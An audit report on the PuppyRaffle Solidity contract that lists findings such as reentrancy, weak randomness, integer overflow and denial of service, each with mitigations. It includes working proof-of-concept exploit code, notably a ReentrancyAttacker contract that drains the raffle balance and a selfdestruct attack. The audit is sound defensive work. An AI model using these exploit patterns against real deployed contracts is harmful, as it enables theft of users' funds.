Puppy Raffle Audit Report

Lead Auditors:

- Benas Volkovas

Table of Contents

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following codebase: https://github.com/Cyfrin/4-puppy-raffle-audit.

And commit hash: `76b8df542e708ffa9c82c0dd645c806e3c4a7ea3`

Scope

src/ --- PuppyRaffle.sol

Protocol Summary

Puppy Raffle is a raffle game where users can enter a raffle to win a puppy NFT. The raffle is a game of chance, where the winner is chosen at random. The winner receives the puppy NFT and 80% of the raffle entrance fees. The remaining 20% of the raffle entrance fees are owned to the fee owner.

Roles

- Owner: PuppyRaffle contract deployer, who can set the fee owner address
- Fee owner: Receives 20% of the raffle entrance fees
- Players: Users who enter the raffle, and can win the raffle or receive a refund if they are not the winner. Players can call functions to select winner and withdraw fees, it is not restricted to the owner or fee owner.

Executive Summary

Issues found

Severity	Number of issues found
High	6
Medium	4
Low	1
Info	10
Gas Optimizations	7
Total	28

Findings

High Severity

[H-1] Reentrancy attack in `PuppyRaffle::refund` function allows an attacker to steal the raffle contract balance

Description: The `PuppyRaffle::refund` function allows a player to withdraw their entry fee if they are not the winner. However, the `PuppyRaffle::refund` function does not set the player's balance to 0 before sending the refund (doesn't follow CEI pattern). This allows an attacker to call the `PuppyRaffle::refund` function multiple times, and drain the contract balance.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>      payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could be a milicious contract that has a `recieve` or `fallback` function that calls the `PuppyRaffle::refund` function again. This would allow the attacker to drain the contract balance.

Impact: All fund paid by raffle players could be stolen by an attacker.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `recieve` or `fallback` function that calls the `PuppyRaffle::refund` function
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function from their contract, draining the contract balance

POC code Paste the following test into `PuppyRaffleTest.t.sol`

```
function test_audit_refund_ExploitableWithReentrancy() public playersEntered {
    ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackerContractBalance = address(attacker).balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    console2.log("Starting attacker contract balance: ", startingAttackerContractBalance);
    console2.log("Starting PuppyRaffle balance: ", startingPuppyRaffleBalance);

    // Attack
    vm.prank(attackUser);
    attacker.attack{value: entranceFee}();

    uint256 endingAttackerContractBalance = address(attacker).balance;
    uint256 endingPuppyRaffleBalance = address(puppyRaffle).balance;

    console2.log("Ending attacker contract balance: ", endingAttackerContractBalance);
    console2.log("Ending PuppyRaffle balance: ", endingPuppyRaffleBalance);

    assertEq(endingAttackerContractBalance - entranceFee, startingPuppyRaffleBalance, "Attacker c
}
```

Add this contract as `ReentrancyAttacker.sol` in `test/mocks`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
```

```
import {PuppyRaffle} from "../../src/PuppyRaffle.sol";

contract ReentrancyAttacker {
    PuppyRaffle internal puppyRaffle;
    uint256 internal entranceFee;
    uint256 internal attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function stealMoney() internal {
        if (address(puppyRaffle).balance > 0) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    receive() external payable {
        stealMoney();
    }

    fallback() external payable {
        stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, set the `players` array before making the external call to `sendValue` . This will prevent the attacker from calling the `PuppyRaffle::refund` function again. This follows the Checks-Effects-Interactions pattern.

```diff
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
        "PuppyRaffle: Only the player can refund"
    );
    require(
        playerAddress != address(0),
        "PuppyRaffle: Player already refunded, or is not active"
    );

-   payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);

+   payable(msg.sender).sendValue(entranceFee);

    emit RaffleRefunded(playerAddress);
}
```

[H-2]: Weak randomness in `PuppyRaffle::selectWinner` function allows an attacker to predict or influence the winner

Description: `msg.sender`, `block.timestamp` and `block.difficulty` creates a predictable number. These values can be influenced by miners to some extent so they should be avoided. Predictable number is not a good random number. Malicious users can manipulate these values to choose the winner of the raffle themselves.

```
        uint256 winnerIndex = uint256(
            keccak256(
@>              abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
            )
        ) % players.length;
```

Impact: Any user can influence the winner of the raffle, winning the price money. This makes the raffle unfair and worthless if it becomes a gas war as to who wins.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` ahead of time. This means they can choose when to call the `PuppyRaffle::selectWinner` function to influence the winner.
2. Users can manipulate `msg.sender` to influence the winner.
3. Users can revert the `selectWinner` function if they are not the winner.
4. This additionally means users could front-run this function and call `refund` if they see they are not the winner of the raffle.

Recommended Mitigation: Consider using a verifiable random number generator (VRF) to generate a trully random number. Use a VRF that is already audited and tested. For example, Chainlink VRF or Gelato VRF.

[H-3]: Weak randomness in `PuppyRaffle::selectWinner` function allows an attacker to predict or influence the NFT rarity

Description: `msg.sender` and `block.difficulty` creates a predictable number. These values can be influenced by miners to some extent so they should be avoided. Predictable number is not a good random number. Malicious users can manipulate these values to choose the rarity of the NFT.

```
        uint256 rarity = uint256(
@>          keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
```

Impact: Any user can influence the rarity of the NFT, transferring the rarity they want. This makes the raffle unfair and worthless.

Proof of Concept:

1. Validators can know ahead of time the `block.difficulty` ahead of time. This means they can choose when to call the `PuppyRaffle::selectWinner` function to influence the rarity.
2. Users can manipulate `msg.sender` to influence the rarity of NFT.
3. Users can revert the `selectWinner` function if they don't like the rarity.
4. This additionally means users could front-run this function and call `refund` if they see they are not the winner of the raffle, but the NFT is not the rarity they want.

Recommended Mitigation: Consider using a verifiable random number generator (VRF) to generate a trully random number. Use a VRF that is already audited and tested. For example, Chainlink VRF or Gelato VRF.

[H-4] Integer overflow of `PuppyRaffle::totalFees` loses the fee amount

Description: In solidity versions prior to `0.8.0`, integer overflow is not checked. This means that if the `PuppyRaffle::totalFees` variable overflows, the fee amount will be lost.

```
@>      totalFees = totalFees + uint64(fee);
```

Impact: In `PuppyRaffle::selectWinner`, the `PuppyRaffle::totalFees` variable can overflow, meaning the fee amount will be lost and tokens permanently locked in the contract.

Proof of Concept:

1. 92 players enter the raffle with 1 ETH each
2. 4 players enter the raffle with 1 ETH each
3. `totalFees` will be:

   ```
   totalFees = totalFees + uint64(fee);
   // With numbers from the POC
   totalFees = 18400000000000000000 + 800000000000000000;
   // Overflow final value
   totalFees = 753255926290448385;
   ```

4. Because of the `PuppyRaffle::withdrawFees` function, `feeAddress` will not be able to receive `totalFees`.

POC code Paste the following test into `PuppyRaffleTest.t.sol`

```
function test_audit_selectWinner_TotalFeeVariableOverflows() public {
    uint256 playersNum = 92;
    address[] memory players = new address[](playersNum);
    for (uint256 i; i < playersNum; i++) {
        players[i]
        = address(i + 1);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    skip(duration + 1 minutes);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();

    playersNum = 4;
    players = new address[](playersNum);
    for (uint256 i; i < playersNum; i++) {
        players[i]
        = address(i + 1000);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    skip(duration + 1 minutes);
    puppyRaffle.selectWinner();
    uint256 endingTotalFees = puppyRaffle.totalFees();

    assertGt(startingTotalFees, endingTotalFees, "Total fees should be greater after 50 players")
}
```

Recommended Mitigation: There are a few ways to prevent this:

1. Use a newer version of Solidity that checks for integer overflow. For example, `0.8.0` or higher. Though this will not prevent the `PuppyRaffle::totalFees` variable from overflowing, it will allow you to catch the overflow and revert the transaction.
2. Use a SafeMath library to check for integer overflow. For example, OpenZeppelin SafeMath. Though this will not prevent the `PuppyRaffle::totalFees` variable from overflowing, it will allow you to catch the overflow and revert the transaction.
3. Remove balance check from `PuppyRaffle:withdrawFees` function. This will allow the `feeAddress` to withdraw the fees, even if the `PuppyRaffle::totalFees` variable overflows.

```diff
-   require(
-       address(this).balance == uint256(totalFees),
-       "PuppyRaffle: There are currently players active!"
-   );
```

4. The only thing that will prevent the `PuppyRaffle::totalFees` variable from overflowing is to use a `uint256` instead of a `uint64`. This will allow the `PuppyRaffle::totalFees` variable to hold a much larger number, and prevent it from overflowing.

[H-5] `PuppyRaffle::selectWinner` calculates the `prizePool` and `fee` incorrectly, transferring the wrong amount of funds to the winner and setting the wrong amount of fees

Description: `selectWinner` multiplies `players.length` and `entranceFee` to calculate the total amount which needs to be distributed. This calculation only works if no players called `refund` function. If at least 1 player called the `refund` function, the `players.length` will stay the same, only the address will be set to `address(0)`. But the balance of the contract will be decreased by the amount of the refund. This means that the `prizePool` and `fee` will be calculated incorrectly.

```
@>      uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Impact: The `prizePool` and `fee` will be calculated incorrectly, and the winner will receive the larger amount of funds. This means the `totalFees` will not be set to the correct amount. Also, fee owner will not be able to withdraw the fees because of the balance check in `PuppyRaffle::withdrawFees` function. `totalFees` will be greater than the balance of the contract.

Proof of Concept:

1. 8 players enter the raffle with 1 ETH each
2. Player with index 0 calls the `refund` function
3. Duration of the raffle passes
4. Player with index 1 calls the `selectWinner` function
5. Winner receives 6.4 ETH instead of 5.6 ETH
6. Total fees will be 1.6 ETH even though the balance of the contract is 0.6 ETH

POC code Paste the following test into `PuppyRaffleTest.t.sol`

```
function test_audit_selectWinner_CalculatesTotalFundsAmountIncorrectly()
    public
{
    // Setup
```

```
        uint256 expectedWinnerIndex = 1;
        uint256 playersNum = 8;
        address[] memory players = new address[](playersNum);
        for (uint256 i; i < playersNum; i++) {
            players[i] = address(i + 1);
        }

        // 8 players enter the raffle with 1 ETH each
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        // Player with index 0 calls the `refund` function
        vm.prank(players[0]);
        puppyRaffle.refund(0);

        // Duration of the raffle passes
        skip(duration + 1 minutes);
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(playerOne, block.timestamp, block.difficulty)
            )
        ) % playersNum;
        assertEq(winnerIndex, expectedWinnerIndex);

        uint256 winnerStartingBalance = players[winnerIndex].balance;

        // Player with index 1 calls the `selectWinner` function
        vm.prank(playerOne);
        puppyRaffle.selectWinner();
        uint256 winnerEndingBalance = players[winnerIndex].balance;
        uint256 winnerReward = winnerEndingBalance - winnerStartingBalance;

        uint256 entranceFeeForWinner = (entranceFee * 80) / 100;
        uint256 expectedWinnerPayout = entranceFeeForWinner * (playersNum - 1);
        uint256 totalFees = uint256(puppyRaffle.totalFees());

        // Assert winner reward
        console2.log("Winner reward: ", winnerReward);
        console2.log("Expected winner payout: ", expectedWinnerPayout);
        assertEq(winnerReward, expectedWinnerPayout + entranceFeeForWinner);

        // Assert total fees
        console2.log("Total fees: ", totalFees);
        console2.log("PuppyRaffle balance: ", address(puppyRaffle).balance);
        assertEq(totalFees, address(puppyRaffle).balance + entranceFee);
    }
```

Recommended Mitigation: There are a few ways to prevent this:

1. After users call the `refund` function, remove them from the `players` array. This will prevent the `players.length` from being incorrect. Though this will not prevent the `prizePool` and `fee` from being calculated incorrectly if someone deposits ETH by calling `selfdesctruct` with the raffle contract address as funds receiver.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
```

```diff
            );

            payable(msg.sender).sendValue(entranceFee);

-           players[playerIndex] = address(0);
+           players[playerIndex] = players[players.length - 1];
+           players.pop();

            emit RaffleRefunded(playerAddress);
        }
```

2. Simpliest solution is to use `address(this).balance` for total amount. This will prevent the `prizePool` and `fee` from being calculated incorrectly if someone deposits ETH by calling `selfdesctruct` with the raffle contract address as funds receiver. But this will not prevent the `players.length` from being incorrect.

```diff
-   uint256 totalAmountCollected = players.length * entranceFee;
+   uint256 totalAmountCollected = address(this).balance;
```

[H-6] If `selfdestruct` is called with the raffle contract address as funds receiver balance check in `PuppyRaffle::withdrawFees` function prevents the fee owner from withdrawing the fees

Description: Anyone can call `withdrawFees` function, which will transfer `totalFees` to the `feeAddress` . But the `withdrawFees` function checks if the balance of the contract is equal to `totalFees` . This means that if someone calls `selfdestruct` with the raffle contract address as funds receiver, the `feeAddress` will not be able to withdraw the fees.

```
    function withdrawFees() external {
        require(
@>          address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;

        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: The `feeAddress` will not be able to withdraw the fees, and the fees will be permanently locked in the contract. The 20% of all locked funds will be lost.

Proof of Concept:

1. 4 players enter the raffle with 1 ETH each
2. Duration of the raffle passes
3. Player with index 1 calls the `selectWinner` function
4. Attacker deploys a contract and calls `selfdestruct` function
5. Player with index 1 calls the `withdrawFees` function, but it reverts

POC code Paste the following test into `PuppyRaffleTest.t.sol`

```
function test_audit_withdrawFees_AlwaysRevertsIfSelfdesctructTransferredFunds()
    public
    playersEntered
{
    skip(duration + 1 minutes);
    vm.prank(playerOne);
    puppyRaffle.selectWinner();

    SelfDestructAttacker attacker = new SelfDestructAttacker{
        value: 1 ether
    }(address(puppyRaffle));

    // Withdraw fees
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: Remove the balance check from `PuppyRaffle:withdrawFees` function. This will allow to always withdraw the fees all the time.

```
function withdrawFees() external {
-   require(
-       address(this).balance == uint256(totalFees),
-       "PuppyRaffle: There are currently players active!"
-   );
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

Medium Severity

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increamtally increasing the gas cost of the transaction with each new player added to the array.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than the gas costs for players who enter right before the raffle ends. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
            );
        }
    }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging the later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `players` array so big, that no one else enters, guarenteeing thenselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st set of 100 players: 6271948 wei
- 2nd set of 100 players: 18068128 wei

This is almost a 3x increase in gas costs for the 2nd set of players.

POC code Paste the following test into `PuppyRaffleTest.t.sol`

```
function test_audit_enterRaffle_DenialOfService() public {
    vm.txGasPrice(1);

    // Create 1st 100 players
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i; i < playersNum; i++) {
        players[i] = address(i + 1);
    }

    // Calculate gas cost of entering raffle for 1st player
    uint256 gasBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasAfter = gasleft();
    uint256 gasCostFirst = (gasBefore - gasAfter) * tx.gasprice;

    // Create 2nd 100 players
    address[] memory players2 = new address[](playersNum);
    for (uint256 i; i < playersNum; i++) {
        players2[i] = address(i + 1 + playersNum);
    }

    // Calculate gas cost of entering raffle for 2nd player
    gasBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players2.length}(players2);
    gasAfter = gasleft();
    uint256 gasCostSecond = (gasBefore - gasAfter) * tx.gasprice;

    console2.log(gasCostFirst);
    console2.log(gasCostSecond);

    // 2nd player should pay more gas than 1st player
    assertTrue(gasCostSecond > gasCostFirst);
}
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Use a mapping to keep track of players who have already entered the raffle. This will allow you to check for duplicates without looping through the entire `players` array. Time complexity of a mapping lookup is O(1), while looping through an array is O(n).

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to e
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player")
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not ove
```

Alternatively, you could use OpenZeppelin's EnumerableSet

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not ove
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, blo
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~ `18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;

    // code...

    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not ove
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, blo
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] A raffle winner, represented by a smart contract, has the ability to revert the transaction for `PuppyRaffle::selectWinner``, thus preventing the raffle from ending.

Description: The `PuppyRaffle::selectWinner` function is responsible for resseting the lottery. However, if the winner is a smart contract wallet that reverts the transfer, the lottery would not be able to restart, making the raffle stuck.

Users could easily call the `selectWinner` function again, but it would cost additional gas due to the duplicate check. This would be a waste of gas and make the reset process very challenging

Impact: The `PuppyRaffle::selectWinner` function could be reverted many times, preventing the raffle from ending.

Also, true winners would not get their prize money, and someone else could take their money by calling the `PuppyRaffle::selectWinner` function again.

Proof of Concept:

1. 10 smart contracts without a `recieve` or `fallback` function enter the raffle.
2. The lottery time ends.

3. One of the smart contracts is chosen as the winner.
4. The winner smart contract reverts the transfer for `selectWinner` function.

Recommended Mitigation: There are a few ways to prevent this:

1. Do not allow smart contract wallets as players (not recommended).
2. Create a mapping from player addresses to price amount, so winners can pull their funds out themselves. Making the winner responsible for claiming their prize money. This follows Pull over Push pattern (recommended).

[M-4] A raffle winner can be a zero address (after the refund), which will revert the transaction when trying to transfer fund in `PuppyRaffle::selectWinner``, thus preventing the raffle from ending.

Description: The `PuppyRaffle::selectWinner` function is responsible for resseting the lottery. However, if the winner is a zero address, the lottery would not be able to restart, making the raffle stuck.

Users could easily call the `selectWinner` function again, but it would cost additional gas due to the duplicate check. This would be a waste of gas and make the reset process very challenging

Impact: The `PuppyRaffle::selectWinner` function could be reverted many times, preventing the raffle from ending.

Proof of Concept:

1. 4 players enter the raffle.
2. 4 players refund their entry fee.
3. The lottery time ends.
4. `selectWinner` is called by anyone.
5. Zero address is chosen as the winner.
6. The smart contract tries to transfer fund to the zero address, which reverts the transaction.

POC code Paste the following test into `PuppyRaffleTest.t.sol`

```
function test_audit_selectWinner_SelectsZeroAddressAsWinner() public {
    // Add 4 players
    uint256 playersNum = 4;
    address[] memory players = new address[](playersNum);
    for (uint256 i; i < playersNum; i++) {
        players[i] = address(i + 1);
    }

    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

    // Refund by all players
    for (uint256 i; i < playersNum; i++) {
        vm.prank(players[i]);
        puppyRaffle.refund(i);
    }

    // Select winner
    skip(duration + 1 minutes);
    vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
    puppyRaffle.selectWinner();
}
```

Recommended Mitigation: Consider checking for zero address after assigning the winner but before sending the prize pool to the winner. This will prevent the `PuppyRaffle::selectWinner` function from reverting.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not ove
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, blo
        address winner = players[winnerIndex];
+       require(winner != address(0), "PuppyRaffle: Winner is zero address");
```

Better approach is to remove the player from `players` array after `refund` is called, this would ensure that there are no zero addresses in `players` array (reccomended).

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
+       players[playerIndex] = players[players.length - 1];
+       players.pop();

        emit RaffleRefunded(playerAddress);
    }
```

Low Severity

[L-1] `PuppyRaffle::getActivePlayerIndex` returns `0` for non-existent players, which is the same as the index for the first player in the `players` array, causing a player at the index `0` to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index `0`, and they call the `PuppyRaffle::getActivePlayerIndex` function with their address, the function will return `0`. But additionally natspec comments state that the function returns `0` if the player is not in the `PuppyRaffle::players` array.

```
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

```
@>      return 0;
    }
```

Impact: A player at index `0` will incorrectly think they have not entered the raffle, and will attempt to enter the raffle again.

Proof of Concept:

1. User enters the raffle
2. User calls `PuppyRaffle::getActivePlayerIndex` with their address
3. User thinks they have not entered the raffle, and attempts to enter again

Recommended Mitigation: The easiest option would be to revert if the player is not in the array insead of returning `0`. You could also reserve the 0th position.

Informational

[I-1]: Solidity pragma should be specific, not wide

Description: Contracts should be deployed with the same compiler version and flags that they have been tested the most with. Locking the pragma helps ensure that contracts do not accidentally get deployed using, for example, the latest compiler which may have higher risks of undiscovered bugs.

Recommended Mitigation: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using an outdated version of Solidity is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks.

Recommended Mitigation: Deploy with any of the following Solidity versions:

- `0.8.18`

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

For more information, see the Slither.

[I-3]: Distinguish `immutable` variables from state variables

Description: Immutable variables are declared with the `immutable` keyword. They are similar to `constant` variables, but they can be assigned to at deployment time. Immutable variables are stored in the contract bytecode, and their value can be read from the contract storage. This means that they are more expensive to deploy than `constant` variables, but cheaper to read. Without a prefix, it is difficult to distinguish immutable variables from state variables.

Recommended Mitigation: Consider using the `i_` prefix for immutable variables, or capital letters to distinguish them from state variables.

[I-4]: Missing checks for `address(0)` when assigning values to address state variables

Description: Assigning values to address state variables without checking for `address(0)`. This can lead to unexpected behavior if the address is `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

  ```
  feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 150

  ```
  previousWinner = winner;
  ```

- Found in src/PuppyRaffle.sol Line: 168

  ~~~
  ```javascript
  feeAddress = newFeeAddress;
  ```
  ~~~

  Recommended Mitigation: Consider checking for `address(0)` before assigning values to address state variables. Or add the modifier `nonZeroAddress` to the state variable declaration.

```
modifier nonZeroAddress(address _address) {
    if(_address == address(0)) {
        revert ZeroAddress();
    }
    _;
}
```

[I-5]: Missing checks for `0` when assigning values to uint state variables

Description: Assigning values to uint state variables without checking for `0`. This can lead to unexpected behavior if the value is `0`.

- Found in src/PuppyRaffle.sol Line: 61

  ```
  entranceFee = _entranceFee;
  ```

- Found in src/PuppyRaffle.sol Line: 63

  ```
  raffleDuration = _raffleDuration;
  ```

Recommended Mitigation: Consider checking for `0` value before assigning values to uint state variables. Or add the modifier `nonZeroNumber` to the state variable declaration.

```
modifier nonZeroNumber(uint256 _number) {
    if(_number == 0) {
        revert ZeroNumber();
    }
    _;
}
```

[I-6]: Missing checks for empty array `[]` for function parameters

Description: Functions that take an array as a parameter should check for an empty array `[]`. This can lead to unexpected behavior if the array is empty.

- Found in src/PuppyRaffle.sol Line: 79

```
    function enterRaffle(address[] memory newPlayers) public payable {
```

Recommended Mitigation: Consider checking for empty array `[]` before assigning values to array state variables. Or add the modifier `nonEmptyArray` to the function parameter declaration.

```
modifier nonEmptyArray(address[] memory _array) {
    if(_array.length == 0) {
        revert EmptyArray();
    }
    _;
}
```

[I-7]: `PuppyRaffle::selectWinnter` should follow CEI (Checks-Effects-Interactions) pattern

Description: It's a best practice to follow the CEI (Checks-Effects-Interactions) pattern to keep the codebase clean and consistent.

Recommended Mitigation: Move the `_safeMint` function call to the top of the function, and move the `winner.call` function call to the bottom of the function. Firstly end effects, then interactions.

```
+   _safeMint(winner, tokenId);

    (bool success, ) = winner.call{value: prizePool}("");
    require(success, "PuppyRaffle: Failed to send prize pool to winner");

-   _safeMint(winner, tokenId);
```

[I-8] Use of "magic" numbers is not recommended

Description: It can be confusing to see number literals in code. It is better to declare a constant variable and give them names.

```
@>      uint256 prizePool = (totalAmountCollected * 80) / 100;
@>      uint256 fee = (totalAmountCollected * 20) / 100;
```

Recommended Mitigation: Consider declaring these numbers as constant variables ot the top of the contract and use them in the code.

```diff
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant PERCENTAGE_DIVISOR = 100;

        // code...

-       uint256 prizePool = (totalAmountCollected * 80) / 100;
-       uint256 fee = (totalAmountCollected * 20) / 100;

+       uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / PERCENTAGE_DIVISOR;
+       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PERCENTAGE_DIVISOR;
```

Gas Optimization

[I-9] `PuppyRaffle::previousWinner` variable is not used anywhere

Description: The `PuppyRaffle::previousWinner` variable is declared in the contract as state variable. It is assigned a value in the `PuppyRaffle::selectWinner` function, but it is not used anywhere else in the contract. This is a waste of gas.

```
    address public previousWinner;
```

Recommended Mitigation: Remove the `PuppyRaffle::previousWinner` variable declaration from the contract and all references to it.

```diff
-   address public previousWinner;

    // code...

-   previousWinner = winner;
```

[I-10] State changes are not emitting events

Description: State changes are not emitting events. This makes it difficult to track the state changes of the contract.

Recommended Mitigation: Consider emitting events for state changes.

[G-1]: Unchanged state variables should be constant or immutable

